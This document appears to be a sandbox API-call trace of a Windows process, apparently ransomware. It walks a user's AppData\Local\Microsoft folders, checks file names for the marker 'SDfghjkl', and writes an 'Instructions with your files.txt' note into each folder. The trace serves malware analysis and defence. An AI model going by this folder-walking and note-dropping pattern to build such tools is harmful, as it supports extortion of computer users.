[0130.492] GetProcessHeap () returned 0x810000
[0130.492] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x865bd0
[0130.492] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\*") returned 80
[0130.492] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0130.492] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\.") returned 80
[0130.492] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0130.492] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.492] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\..") returned 81
[0130.492] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0130.493] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0130.493] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\desktop.ini") returned 90
[0130.493] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0130.493] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1
[0130.493] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1]") returned 88
[0130.493] StrStrIW (lpFirst="fwlink[1]", lpSrch="SDfghjkl") returned 0x0
[0130.493] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0x52d90010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieonline.microsoft[1]", cAlternateFileName="IEONLI~1.MIC")) returned 1
[0130.493] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\ieonline.microsoft[1]") returned 100
[0130.493] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0x52d90010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieonline.microsoft[1]", cAlternateFileName="IEONLI~1.MIC")) returned 0
[0130.493] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\Instructions with your files.txt") returned 111
[0130.493] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0130.495] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0130.496] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0130.496] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0130.496] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0130.496] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0130.496] CloseHandle (hObject=0x11c) returned 1
[0130.496] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0130.496] GetProcessHeap () returned 0x810000
[0130.496] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x865bd0 | out: hHeap=0x810000) returned 1
[0130.496] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KQMHSVKD", cAlternateFileName="")) returned 0
[0130.496] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\Instructions with your files.txt") returned 102
[0130.496] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0130.497] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0130.498] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0130.498] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0130.498] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0130.498] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0130.498] CloseHandle (hObject=0x118) returned 1
[0130.498] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0130.498] GetProcessHeap () returned 0x810000
[0130.498] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0130.498] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3d1d6940, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1
[0130.498] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS") returned 63
[0130.498] GetProcessHeap () returned 0x810000
[0130.498] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0130.498] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\*") returned 65
[0130.498] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3d1d6940, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0130.502] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\.") returned 65
[0130.502] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3d1d6940, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.502] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\..") returned 66
[0130.502] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3d757c20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x3c0dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRMCACHE.DAT", cAlternateFileName="")) returned 1
[0130.502] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT") returned 76
[0130.502] StrStrIW (lpFirst="FRMCACHE.DAT", lpSrch="SDfghjkl") returned 0x0
[0130.502] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3d757c20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x3c0dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRMCACHE.DAT", cAlternateFileName="")) returned 0
[0130.502] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\Instructions with your files.txt") returned 96
[0130.502] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\forms\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0130.502] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0130.503] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0130.503] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0130.503] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0130.503] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0130.503] CloseHandle (hObject=0x118) returned 1
[0130.504] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0130.504] GetProcessHeap () returned 0x810000
[0130.504] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0130.504] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd754c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd754c00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IME12", cAlternateFileName="")) returned 1
[0130.504] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IME12") returned 63
[0130.504] GetProcessHeap () returned 0x810000
[0130.504] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0130.504] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IME12\\*") returned 65
[0130.504] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IME12\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd754c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd754c00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0130.504] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IME12\\.") returned 65
[0130.504] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd754c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd754c00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.504] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IME12\\..") returned 66
[0130.504] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd754c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd754c00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.504] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IME12\\Instructions with your files.txt") returned 96
[0130.504] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IME12\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\ime12\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0130.505] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0130.506] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0130.506] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0130.506] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0130.506] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0130.506] CloseHandle (hObject=0x118) returned 1
[0130.506] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0130.506] GetProcessHeap () returned 0x810000
[0130.506] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0130.506] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMJP12", cAlternateFileName="")) returned 1
[0130.506] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP12") returned 64
[0130.506] GetProcessHeap () returned 0x810000
[0130.506] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0130.506] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP12\\*") returned 66
[0130.507] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP12\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0130.507] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP12\\.") returned 66
[0130.507] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.507] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP12\\..") returned 67
[0130.507] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.508] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP12\\Instructions with your files.txt") returned 97
